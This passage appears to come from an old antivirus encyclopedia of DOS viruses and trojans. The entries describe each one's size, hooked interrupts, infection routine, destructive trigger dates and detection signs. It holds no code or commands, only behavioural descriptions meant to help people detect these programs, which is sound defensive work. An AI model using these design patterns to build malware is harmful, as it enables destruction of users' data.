             Infector Virus (infects .COM files).
Virus Length:  771 Bytes (COM)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h
Executing Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory by hooking INT
    21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
   b) It doesn't infect .EXE files.
Damage:   None.
Detecting Method:
1) Infected files increase by 771 Bytes.
Note: The ARCV-9 virus hooks INT 24h when
      infecting files. It omits I/O errors
      (such as write protect).

[NG-914]
Virus Name: NG-914
Virus Type:  Memory Resident, File Infector
             Virus (infects .COM files).
Virus Length:  914 Bytes (COM)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h
Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT
   21h.
2) It then executes the original file.
3) With itself loaded into resident memory it
   will infect any uninfected file that is
   executed.  b) It doesn't infect .EXE files.
Damage:   None.
Detecting Method:   Infected files increase by
                    914 Bytes.
Note: The NG-914 virus hooks INT 24h when
      infecting files.  It omits I/O errors
      (such as write protect).

[Civil510]
Virus Name: Civil510
Virus Type:  Highest Memory Resident, File
             Infector Virus (infects .COM files).
Virus Length:  2080 Bytes (COM)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h
Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT
   21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
   b) It doesn't infect .EXE files.
Damage:   None.
Detecting Method:  Infected files increase by
                   2080 Bytes.
Note: The Civil510 virus hooks INT 24h when
      infecting files. It omits I/O errors (such
      as write protect).

[B3]
Virus Name: B3
Virus Type:  Memory Resident, File Infector
             Virus (infects .COM files).
Virus Length:  483 Bytes (COM)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h
Executing Procedure:
1) The virus checks whether the system date is
   the 26th of  June, if "Yes", then it will
   destroy all data on the hard disk, if  "No",
   the virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT
   21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
   b) It doesn't infect .EXE files.
Damage: If the system date is the 26th of June,
        then the virus will destroy all data on
        the hard disk..
Detecting Method:  Infected files increase by
                   483 Bytes.
Note: The B3 virus hooks INT 24h when infecting
      files. It omits I/O errors (such as write
      protect).

[RKO-1]
Virus Name: RKO-1
Virus Type:  Memory Resident, File Infector
             Virus
Virus Length:  None.
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h
Executing Procedure:
1) The virus checks whether the system date is
   the 13th, if "Yes", it destroys all data on
   the hard disk, if "No", the virus checks
   whether it is already loaded resident in
   memory. If  "No", it then loads itself into
   resident memory by hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed or
   when INT    21h is called by AX=11h  or AX=12h.
Damage: If system date is the 13th, then the virus
        will destroy all data on the hard disk..
Detecting Method:  None.
Note: The RKO-1 virus hooks INT 24h when infecting
      files. It omits I/O errors   (such as write
      protect).

[Dame]
Virus Name: Dame
Virus Type:  Memory Resident, File Infector
             Virus (Mutation Engine).
Virus Length:  None.
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h
Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
4) After it has infected files, it will check the
   time. If the time is between 12:00 A.M. and
   12:30 A.M., it will show the message: "Don't
   worry, you are not alone at this hour.... This
   Virus is NOT dedicated to Sara. It's dedicated
   to her Groove (...That s my name).. This Virus
   is only a test therefor ..  be ready for my
   Next Test...".
Damage:   None.
Detecting Method:  None.
Note:
1) The Dame virus hooks  INT 24h when infecting
   files.  It omits I/O errors (such as write
   protect).
2) The virus will encode itself, before it infects
   files. And the method of encoding depends on
   time. So it will be different in every file.

[7thson]
Virus Name: 7thson
Virus Type:   Memory Resident, File Infector
              Virus (Companion).
Virus Length:  321 or 307 Bytes (EXE)
PC Vectors Hooked: INT 21h (AX=4B00h) (execute
                   program), INT 24h
Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT
   21h.
2) It then executes the original file.
3) With itself loaded into resident memory it
   will infect any uninfected file that is
   executed.  b) It doesn't infect .COM files.
Damage: When you run an .EXE file, the virus
        will create a new .COM file with  the same
        name as .EXE file and the length equals to
        321 or 307 Bytes.
Detecting Method: Check whether there are some COM
                  files with length equal to 321
                  or 307 Bytes.
Note: The 7thson virus hooks INT 24h and closes
      the "control_break" command when infecting
      files. It omits I/O errors (such as write
      protect).

[Geoff]
Virus Name: Geoff
Virus Type:  Trojan
Virus Length:  5952 Bytes
PC Vectors Hooked: INT 24h
Executing Procedure:
1) Doesn't infect any file or partition or boot
   sector.
2) Before destruction, it shows the message:"
   Search And Destroy Loading v1.0 Bringing The
   Best And Latest Warex....... Press [ENTER] to
   Start The Game."
3) It then destroys all data of all disks if
   drives are ready.
4) After destroying , it shows the message:" Hey
   Geoff You know what happened a few days ago?
   Some friend asked me to get rid of you,........
   P.S. I have nothing personal against you! You
   just FUCKED with the Cold Brother and I had to
   take you down, again".
Damage: Destroys all data on all disks if drives
        are ready.
Detecting Method:
1) Check whether there are files with length is
   5952 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Geoff hooks INT 24h when destroying. It omits
   I/O errors (such as write protect).

[CMOSKill]
Virus Name: Cmoskill
Virus Type: Trojan
Virus Length: 29 Bytes
PC Vectors Hooked: None
Damage:  Deletes all the  "CMOS" data.
Detecting Method:  None.
Note:
1) Doesn't stay resident in memory.
2) Doesn't infect any files or partition or boot
   sector.

[Killboot]
Virus Name: Killboot
Virus Type: Trojan
Virus Length: 32000 Bytes
PC Vectors Hooked: None
Damage:  Destroys all data in the BOOT SECTOR of
         "C:\" and "B:\", then shows a line of
         codes and the system halts.
Detecting Method:  None.
Note:
1) Doesn't stay resident in memory.
2) Doesn't infect any files or partition.

[NUKEX]
Virus Name: NUKEX
Virus Type: Trojan
Virus Length: 469 Bytes
PC Vectors Hooked: None
Damage:  Deletes all files on hard disk
         ( include all subdirectories).
Detecting Method:  None.
Note:
1) Doesn't stay resident in memory.
2) Doesn't infect any files  or partition or boot
   sector.

[Fire]
Virus Name: Fire
Virus Type: Trojan
Virus Length: 4304 Bytes
PC Vectors Hooked: INT 24h
Damage:  Destroys all data on all disks if
         drives are ready, then it makes a sound.
Detecting Method:  Check whether there are files
                   with 4304 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Doesn't infect any files  or partition or boot
   sector.
3) The Fire virus  hooks INT 24h when destroying,
   it omits I/O errors ( such as write protect).

[Secto]
Virus Name: Secto
Virus Type: Trojan
Virus Length: 487 Bytes
PC Vectors Hooked: None
Damage:  Destroy data on boot sector of
         "A:\".
Detecting Method:  None.
Note:
1) Doesn't stay resident in memory.
2) Doesn't infect any files or partition.
3) Doesn't hook INT 24h when destroying,  An error
   message occurs if there is I/O errors (such as
   write protect).

[MSK]
Virus Name: MSK
Virus Type: Trojan
Virus Length: 272 Bytes
PC Vectors Hooked: None
Damage:  Destroys all data on hard disk.
Detecting Method:  Check whether there are files
                   with 272 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Doesn't infect any files or partition or boot
   sector.

[Dropper]
Virus Name: Dropper
Virus Type: Trojan
Virus Length: 3103 Bytes
PC Vectors Hooked: None
Damage:  Deletes all files on disks.
Detecting Method:  Check whether there are files
                   with 3103 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Doesn't infect any files or partition or boot
   sector.
3) Dropper doesn't hook INT 24h when destroying.
   An error message occurs if there is an I/O
   error ( such  as write protect).

[RNA#1]
Virus Name: RNA#1
Virus Type: File Infector Virus (infects .COM &
           .EXE files)
Virus Length: 7296 Bytes(COM & EXE)
PC Vectors Hooked: INT 24h
Executing Procedure:
1) Searches for COM & EXE files on the "C:\
   drive".
2) If found, it then deletes them ( deletes four
   files at one time)
3) When the files are deleted, the virus will
   create a file named "ZSQA.TH" on disk "C:\".
Damage: It will delete files of "C:\drive".
Detecting Method:  Infected files will increase
                   by 7296 Bytes.
Note:
1) Doesn't stay resident in memory.
2) The RNA#1 hooks INT 24h when infecting files.
   It omits I/O errors (such as write protect).

[RNA#2]
Virus Name: RNA#2
Virus Type: File Infector Virus (infects .COM &
            .EXE files)
Virus Length: 7408 Bytes(COM & EXE)
              PC Vectors Hooked: None
Executing Procedure:
1) Searches for COM & EXE files on "C:\drive".
2) If any file are found, the virus will infect
   them (it infects only four files at one time).
Damage:  None.
Detecting Method: Infected files will increase
                  by 7408 Bytes.
Note:
1) Doesn't stay resident in memory.
2) RNA#2 doesn't hook INT 24h when infecting
   files. It omits I/O errors (such as write
   protect).

[Medical]
Virus Name: Medical
Virus Type: File Infector Virus (infects .COM
            files)
Virus Length: 189 Bytes(COM)
PC Vectors Hooked: None
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) It checks whether it has been infected by
   Medical, if "Yes", it continues to look for
   another .COM file.
3) It infects only one file at a time.
Damage:  None.
Detecting Method:  Infected files will increase
                   by 189 Bytes.
Note: Doesn't stay resident in memory.
      Medical doesn't hook INT 24h when infecting
      files. It omits I/O errors (such as write
      protect).

[Bob]
Virus Name: Bob
Virus Type: File Infector Virus (infects .COM
            files)
Virus Length: 1117 Bytes(COM)
PC Vectors Hooked: INT 8h
Executing Procedure:
1) Searches for a .COM file in the current
   directory.
2) It checks whether it has been infected by Bob.
   If "Yes", it continues to look for an
   uninfected .COM file.
3) It infects only three files at a time.
4) It then checks whether the system date is the
   7th of  September, if "Yes", the virus will
   hook INT 8h, and about 5 minutes later, one of
   such messages are displayed on the screen:
   "1 Bob Ross lives! 2 Bob Ross is watching!
    3 Maybe he lives here....." and so on.
Damage: If it is  September 7th, then a message
        will appear on  the screen.
Detecting Method:  Infected files will increase
                   by 1117 Bytes.
Note:
1) Doesn't stay resident in memory.
2) Bob doesn't hook INT 24h when infecting files.
   It omits I/O errors (such as write protect).

[Cannabis]
Virus Name: Cannabis
Virus Type: Floppy Boot Infector
Virus Length: None.
PC Vectors Hooked: INT 13h
Executing Procedure:
1) When the system is booted from an infected
   disk, there will be a 1K decrease in
   total system memory.
2) It then hooks  INT 13h.
3) So when you switch on the computer normally,
   the diskette will be infected by hooking INT
   13h.
Damage:  None.
Detecting Method:  Decreased total memory size
                   for 1K Bytes.
Note:
1) Cannabis doesn't hook INT 24h when infecting
   files. It omits I/O errors (such as write
   protect).

[Daisy]
Virus Name: Daisy
Virus Type:  File Infector Virus (infects .EXE
             files)
Virus Length: No change.
PC Vectors Hooked: None
Executing Procedure:
1) Displays a smilie face and a message on the
   screen: "Hi, I'm Crazy Daisy!...   I'll format
   your HARD DISK! ... Say goodbye to your files!"
2) The virus then searches for an .EXE file in
   "A:\drive".
3) It  checks whether it has been infected by
   Daisy before. If "Yes", it continues to look
   for another uninfected .EXE file.
4) It infects all the .EXE files on the A:\drive.
5) Then the system halts.
Damage:
1) When all of the .EXE files on the "A:\drive "
   have been infected, the system halts.
2) Overwrites original files, so the length of
   infected files won't increase.
3) When an infected file is executed, it randomly
   displays one of the following messages:
   "1. Pretty day today - isn't it?
    2. Don't worry - sing a song!
    3. Life isn't easy!
    4. Don't halt your computer! Let's be
       friends!
Detecting Method:  None.
Note:
1) Doesn't stay resident in memory.
2) Daisy doesn't hook INT 24h when infecting
   files. It omits I/O errors (such as write
   protect).

[Son of PSMPC]
Virus Name: SON_OF_PSMPC
Virus Type:  Virus Generator
Virus Length: 17741 Bytes.
PC Vectors Hooked: None
Executing Procedure:
1) This is a "virus generator", when you execute
   "PC-MPC A.CFG B.CFG..., then A.ASM B.ASM...,
   are generated, these will be viruses after
   compiling and linking.
Detecting Method:  None.
Note:
1) Doesn't stay resident in memory.
2) SON_OF_PSMPC doesn't hook INT 24h when
   infecting files.  It omits I/O errors (such as
   write protect).
3) These generated files can have different
   functions such as encoding or infecting the
   "COMMAND.COM" file.

[Ear]
Virus Name: EAR
Virus Type: File Infector Virus (infects .COM &
           .EXE files)
Virus Length: 1024 Bytes.
PC Vectors Hooked: None
Executing Procedure:
1) The virus searches for an .EXE or .COM file in
   the current directory.
2) It checks whether it has been infected by EAR.
   If "Yes", it continues to look for an
   uninfected .COM or .EXE file.  3) It continues
   infecting all COM & EXE files in  the current
   and the "mother" directories until they have
   all been infected..
4) It then checks whether the system date is 1st
   day of the month, if "Yes", a message appears
   on the screen: " PHALON/SKISM 1992 [Ear-6]
   Alert! Where is the Auditory Canal located?
   1. External Ear   2. Middle Ear 3. Inner Ear
   ", then   wait for your choice.
5) If you press "1" or "3", you get the following
   message: " Wow, you own your ears! Please
   resume work.", then it executes the original
   file.
6) If you press "2" the following message appears:
   "You obviously no nothing about ears. Try
   again after some study.", then the program ends
   and doesn't execute the original file).
Damage: If system is 1st day of the month, a
        message will appear on the screen.
Detecting Method:  Infected files will increase
                   1024 Bytes.
Note:
1) Doesn't stay resident in memory.
2) EAR doesn't hook INT 24h when infecting files.
   It omits I/O errors (such as write protect).

[Dir2-910]
Virus Name: DIR2-910
Virus Type: File Infector Virus (infects .COM &
            .EXE files)
Virus Length: 1024 Bytes
PC Vectors Hooked: None
Executing Procedure:
1) When the virus loads itself resident in memory
   it will change the directory structure data, so
   that certain executable files are linked to
   itself.
2) This makes it so that when you execute a file
   that the DIR2-910 virus has  linked to it also
   is executed. At this point it can begin to
   infect other files.
3) The virus stays resident in memory but doesn't
   hook any interrupts. It uses another function
   to infect files.  It infects .COM &.EXE files
   when they are "READ & WRITE".
Damage:  When all the .COM & .EXE files been
         infected on a disk, then it will not be
         possible to execute any files from the
         disk.
Detecting Method:
Check the disk by using "CHKDSK.EXE", if some
files are crossed -- linked to the same position,
then these files must be infected.
Note: DIR2-910 doesn't hook INT 24h when infecting
      files. It omits I/O errors (such as write
      protect).

[INOK-2372]
Virus Name: INOK-2372
Virus Type: File Infector Virus (infects .COM
            files)
Virus Length: 2372 Bytes.
PC Vectors Hooked: None
Executing Procedure:
1) When the virus is executed , the following
   two functions are selected at random.
   a) It searches for a .COM file in the current
      directory. Then it checks whether it has
      been infected  by INOK- 2372. If "Yes",
      it continues to look for another uninfected
      .COM file. It only infects one file at a
      time. Then it executes the original file.
   b) Creates a file name "ICONKIN.COM" in the
      current directory, then it executes the file.
      When the file is executed, a  window appears
      on the screen until you press a key, and
      after a while the window appears again.
Damage:  None.
Detecting Method:
1) Infected files will increase 2372 Bytes.
2) If a window appears.
Note:
1) Doesn't stay resident in memory.
2) INOK-2372 doesn't hook INT 24h when infecting
   files. It omits I/O errors (such as write
   protect).

[Multi-2]
Virus Name: Multi-2
Virus Type: Partition table Infector and File
            Infector Virus
            (infects .COM & .EXE files)
Virus Length: Not Applicable
PC Vectors Hooked: INT 21h, INT 24h, INT 1Ch,
                   INT 13h.
Executing Procedure:
1) The Virus will decrease the total system memory
   by 3K Bytes when the system is booted from an
   infected disk.
2) It then checks whether it has is loaded in
   resident memory, if "No", then it will load to
   the last 3K bytes of resident memory by hooking
   INT 21h and INT 1Ch.
3) It infects files when they are executed.
Damage:  None.
Detecting Method:  Infected files increase 927--
                   1000 Bytes.
Note:  Multi-2 hooks INT 24h when infecting
       files. It omits I/O errors (such as write
       protect).

[BFD]
Virus Name: BFD
Virus Type: Boot sector Infector and File
            Infector Virus
Virus Length: No change
PC Vectors Hooked: INT 13h, INT 24h.
Executing Procedure:
1) The virus decreases the total system memory
   by  2K Bytes when the system is booted from
   an infected disk.
2) It loads itself in the last 4K Bytes of
   resident memory.
3) It hooks INT 13h.
4) When you turn on the computer as usual the
   resident memory virus infects boot sector
   and files when "READING & WRITING" uninfected
   disks or programs.
Damage: Overwrites original files, so the length
        of infected files won't increase.
Detecting Method:  None.
Note:
1) BFD hooks INT 24h when infecting files or Boot
   Sector. It omits I/O errors (such as write
   protect).

[BFD-B]
Virus Name: BFD-B
Virus Type: File Infector Virus and Boot Sector
            Infector  (Multi-partite Virus)
Virus Length: No change.
PC Vectors Hooked: INT 13h, INT 24h.
Executing Procedure:
1) When you execute the file, it will check
   whether the Boot Sector of the hard disk has
   been infected, if "No", it will infect the
   boot sector .
2) It then checks whether it has loaded itself
   resident in memory, if "No", then it loads
   itself resident in memory by   hooking INT 21h
   and INT 13h .  After the virus has loaded
   itself in to resident   memory it will infect
   boot sectors and files while "READING &
   WRITING" uninfected disks or programs.
Damage: Overwrites original files, so the length
        of infected files won't increase.
Detecting Method:  None.
Note:
1) BFD hooks INT 24h when infecting files or boot
   sector. It omits I/O errors (such as write
   protect).

[XQR]
Virus Name: XQR
Virus Type: Partition table Infector and File
            Infector Virus.
Virus Length: Not Applicable
PC Vectors Hooked: INT 21h, INT 24h, INT 13h,
                   INT 8h.
Executing Procedure:
1) The Virus decreases the total system memory by
   4K Bytes,  when the system is booted from an
   infected disk.
2) The virus loads itself in to the last 4K Bytes
   of resident memory.
3) It then hooks INT 13h.
4) When the computer is turned on normally the
   virus will check   whether the system date is
   May 4th,  if "Yes", a message will appear on
   the screen: " XQR: Wherever, I love you Forever
   and ever! The beautiful memory for ours in that
   summer time has been recorded in Computer
   history . Bon voyage, my dear XQR! "
5) It continues to infect any executed program.
Damage:  When it is Sunday, the virus will change
         the settings of the keyboard.
Detecting Method:  Check whether the keyboard is
                   normal.
INT 13h:
1) When system starts from hard disk the virus will
   hook INT 21h by INT 13h.
2) Check whether someone wants to read sector #1,
   if "yes", then give the original data of
   sector #1 to be seen.
3) Check whether someone wants to overwrite the
   file "XQR" in hard disk, If "yes", then omit
   the calling. INT 8h:  Check whether INT 21h is
   called, if "yes", then hook it again by INT 8h.
Note: XQR hooks INT 24h when infecting files. It
      omits I/O errors (such as write protect).

[Bogus]
Virus Name: BOGUS
Virus Type: Partition table Infector and File
            Infector Virus
Virus Length: No change.
PC Vectors Hooked: INT 21h, INT 24h, INT 13h.
Executing Procedure:
1) The Virus decreases the total system memory by
   4K Bytes,  when the system is booted from an
   infected disk.
2) The virus loads itself in to the last 4K Bytes
   of  resident memory.
3) It then hooks INT 13h.
4) It continues to infect any executed program.
Damage:  When the number of infected files is
         larger than 2710, then it destroys all
         the data on the hard disk.
Detecting Method:  Check whether the file head
                   is INT 13h(AX=90 or 91).
Note:
1) BOGUS hooks INT 24h when infecting files. It
   omits I/O errors (such as write protect).
2) If  the computer is booted from a diskette,
   you will not be able to view the hard drive.

[Invol-1]
Virus Name: INVOL-1
Virus Type: EXE & SYS and File Infector.
Virus Length: 1350/60 Bytes(EXE), 2720
              Bytes( SYS)
PC Vectors Hooked: INT 21h.
Executing Procedure:
EXE File:
1) The virus searches for the first command of
   "C:\CONFIG.SYS", if the command is *.*=xxxx.yyy
   the virus will infect the file.
2) Then it finishes executing the original file.
3) The file infects when an uninfected program is
   executed.
SYS File:
1) Hooks INT 21h and loads resident memory.
2) Executes the original file.
Damage:  Checks whether it is 20th of the month,
         if "Yes", then it destroys all hard disk
         data.
Detecting Method:
Infected .EXE files increase by 1350 Bytes, SYS
files increase by 2720 Bytes.
Note:
1) INVOL-1 doesn't hook INT 24h when infecting
   files. It omits I/O errors (such as write
   protect).

[August16]
Virus Name: August16
Other names: Iron maiden
Virus Type: Parasitic Virus (infects .COM files)
Virus Length: 636 Bytes
PC Vectors Hooked: Int 21
Executing Procedure:
1)  The virus checks whether it the first two
    .COM   files in the current directory have
    been infected.
2) If "No" it will proceed to infect them.
3) If  Yes" it checks the current directory on the
   C:\drive to     see whether it has two .COM
   files.
4) If Yes" it will proceed to infect them.
5) Then the original file is executed.
Damage:
1) August16 overwrites the original file to hide
   changes to the file s date  and time in the
   directory listing.
2) Adds two text strings to  infected files:
   "*.COM AA", "=!=IRON MAIDEN."
Detecting Method:
1) .COM file growth
2) Unexpected access to    C:\drive
Note: August16 doesn't hook INT 24h when
      infecting files.  An error message occurs if
      there is an I/O error (such as write
      protect).

[BkMonday]
Virus Name: BKMonday
Other names: Virus 1055
Virus Type: File Infector Virus
Virus Length: 1055 bytes
PC Vectors Hooked:  Int 21
Damage: Formats first 240 cylinders of the
        first hard drive.
Detecting Method:
Overwrites the original file in order to hide
changes to the file after infection.
Note: Loads itself resident in memory.  An
      error message occurs if there is an I/O
      error (such as write protect).

[Devil's_Dance]
Virus Name: Devil's_Dance
Other names: Virus 941
Virus Type: File Infector Virus
Virus Length: 941 bytes
PC Vectors Hooked:  Int 21
Executing Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory by hooking INT
    21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
Damage:
The Devil's_Dance virus monitors the Int 9
(keyboard).  A routine for cursor manipulation is
activated when 5 keys other than the  Alt" key
have been depressed. Furthermore, if the  Alt" key
is not depressed, attributes of the cursor in
Video-RAM are changed after any other key is
pressed.  The new attributes are as follows: 09h
(bright blue), 0ah (bright green), obh (bright
cyan), 0ch (bright red), 0dh (bright violet), oeh
(bright yellow). If the above five keys are not
pressed, the virus will not manifest itself.
If  Del" is depressed, the virus will display
characters using the color white.  The virus
displays the following message: Have you ever
danced with the devil under the weak light of the
moon?.... Pray for your disk...The Joker
HAHAHAHAHAHAHAHAHAHA."
The virus will finally test whether any keys were
pressed 2500 times.  If yes, the virus overwrites
the  Disk Partition Table of the first hard disk
and proceeds to crash the system.
Note:  Loads itself resident in memory.  An
       error message occurs if there is an I/O
       error (such as write protect).

[Hero-394]
Virus Name: HERO-394
Other names: None
Virus Type: File Infector Virus
Virus Length: Increases infected EXE file size
              by 394 bytes
Damage: None
Detecting Method Virus will check system date.
If it is the first day of the month, a confusing
code will be displayed on the screen.  Virus
increases infected EXE file size by 394 bytes.

[NOPX_2.1]
Virus Name: NOPX_2.1
Other names: None
Virus Type: File Infector Virus
Virus Length: Increase infected .EXE file size
              by 1686 bytes, also .COM file.
PC Vectors Hooked:  Int 21
Executing Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory by hooking INT
    21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
Damage:
The virus has bugs in itself (Error in calculating
entry point). So some infected EXE files can't be
executed correctly. Detecting Method Increase
infected files size by 1686 bytes
Note:  Loads itself resident in memory.  An error
message occurs if there is an I/O error (such as
write protect).

[NCU_LI]
Virus Name: NCU_Li
Other names: None
Virus Type: File Infector Virus
Virus Length: 1690/1670 bytes.
PC Vectors Hooked: Int 21
Executing Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory by hooking INT
    21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
Damage: None
Detecting Method: Increase infected files size
                  by 1690/1670 bytes
Note: Loads itself  resident in memory.  An
      error message occurs if there is an I/O
      error (such as write protect).

[Ghost-A]
Virus Name: GHOST-A
Other names: None
Virus Type: File Infector Virus
Virus Length: 330 bytes.
Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT
   21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
Damage: The executed file will be deleted after
        virus has resided in memory and the system
        date is Friday.  Virus halts the system.
Detecting Method: Increases infected file size
                  by 330 bytes
Note:
1) Loads itself resident in memory.  An error
   message occurs if there is an I/O error (such
   as write protect).

[VVF34]
Virus Name: VVF34
Other names: None
Virus Type: File Infector Virus
Virus Length:.EXE 1614-1624 bytes and  .COM 1614
              bytes.
Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT
   21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
Damage: The virus hooks 1Ch.  After the virus has
        resided in memory for 5 minutes and 15
        files have already been infected, the
        virus will proceed to draw a portrait in
        the center of the screen.  The virus will
        also hook the interrupt 9h (keyboard
        interrupt). The virus will then display
        the following message when the user
        presses any  key:  Bu, Bu, Bu..."
        Detecting Method Increases infected file
        size by 1614/1624 bytes
Note:  Loads itself resident in memory.  An
       error message occurs if there is an  I/O
       error (such as write protect).

[Damage-B]
Virus Name: DAMAGE-B
Other names: None
Virus Type: Parasitic Virus
Virus Length: 1110 bytes.
Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT
   21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
Damage: Virus checks system date.  If it is
        Tuesday, it will format the hard disk.
        Detecting Method Increases infected file
        size by 1110 bytes
Note:  Loads itself resident in memory.  An error
       message occurs if there is an I/O error
       (such as write protect).

[Fam1]
Virus Name: FAM1
Other names: None
Virus Type: File Infector Virus
Virus Length: 1063 bytes.
Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT
   21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
Damage: None.
Detecting Method Increases infected file size by
1036 bytes.  This occurs only with the MONO
display card.
Note:  Loads itself resident in memory.  An error
       message occurs if there is an I/O error
       (such as write protect).

[Malaise]
Virus Name: MALAISE
Other names: None
Virus Type: File Infector Virus
Virus Length: 1335/1365 bytes.
Executing Procedure:
1)  The virus checks whether it is already loaded
    resident in memory. If "No", it then loads
    itself into resident memory by hooking INT
    21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
Damage: None.
Detecting Method Increases infected files size by
1335-1365 bytes
Note:  Loads itself resident in memory.  An error
       message occurs if there is an I/O error
       (such as write protect).

[Walker]
Virus Name: WALKER
Other names: None
Virus Type: File Infector Virus
Virus Length:.EXE 3845 bytes and .COM 3852
             bytes.
Executing Procedure:
1) The virus checks whether it is already
   loaded resident in memory. If "No", it then
   loads itself into resident memory by hooking
   INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it
   will infect any uninfected file that is
   executed.
Damage: None
Detecting Method Interrupt 16 will be hooked.  A
man walking across the  screen for the duration
of 14 seconds will occasionally be displayed.
Increases infected file size by 3845/3852 bytes
Note:  Loads itself resident in memory  An error
       message occurs  if there is an I/O error
       (such as write  protect).

[Proto-T]
Virus Name: PROTO-T
Other names: None
Virus Type: File Infector Virus
Virus Length:.COM 695 bytes.
Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT
   21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
Damage: None
Detecting Method Increases infected files size
by 695 bytes
Note:  Loads itself resident in memory.  An error
       message occurs if there is an I/O error
       (such as write protect).

[QMU]
Virus Name: QMU
Other names: None
Virus Type: Multi-partite Virus
Virus Length:.COM 1513 bytes.
Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
Damage: Hard disk cannot be booted after the
        virus internal counter reaches 100.
        Detecting Method Increases infected file
        size by 1513 bytes
Note:  Loads itself resident in memory.  An error
       message occurs if there is an I/O error
       (such as write protect).

[492]
Virus Name: 492
Other names: None
Virus Type: File Infector Virus
Virus Length:.COM 492 bytes.
Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT
   21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
Damage:
Virus will check the system date. If it is the
14th day of the month and it is a Saturday, the
virus will erase all data on the hard disk.
Detecting Method Increases infected file size
by 492 bytes
Note:
Loads itself resident in memory.  An error
message occurs if there is an I/O error
(such as write protect).

[Reaper]
Virus Name: REAPER
Other names: None
Virus Type: File Infector Virus
Virus Length: 1072 bytes.
Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
Damage: The Reaper virus will check the system
        date after it resides in memory. If it is
        Aug 21, the virus will display the
        following message: "Reaper Man. (c) 92,
        Apache Warrior, ARCV Pres." Detecting
        Method Increases infected file size by
        1072 bytes
Note: Loads itself resident in memory.  An error
      message occurs if there is an I/O error
      (such as write protect).

[Jump4Joy]
Virus Name: JUMP4JOY
Other names: None
Virus Type: File Infector Virus
Virus Length:.COM 1273 bytes.
Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
   b) It doesn't infect .EXE files.
Damage: None
Detecting Method Increases infected file size
by 1273 bytes
Note:  Loads itself resident in memory.  An error
       message occurs if there is an I/O error
       (such as write protect).

[Aragorn]
Virus Name: ARAGORN
Other names: None
Virus Type: Boot Strap Sector Virus
Damage: None
Detecting Method Only floppy diskette in drive
A will be infected.

$#Trash
Virus Name: TRASH
Other names: None
Virus Type: Boot Strap Sector Virus
Virus Length: 1241 bytes.
Damage:
Virus will overwrite the Partition Table.
Detecting Method Virus will not infect any files.
Virus will display the following message:
Warning!!!  This program will zero (DESTROY) the
master boot record of your first hard disk. The
purpose of this is to test the anti-virus software,
so be sure you have installed your favorite
protecting program before running this one!  It is
almost certain that it will fail to protect you
anyway. Press any key to abort, or press Ctrl-Alt-
Right Shift- F5 to proceed at your own risk."
Virus will proceed to overwrite the Partition
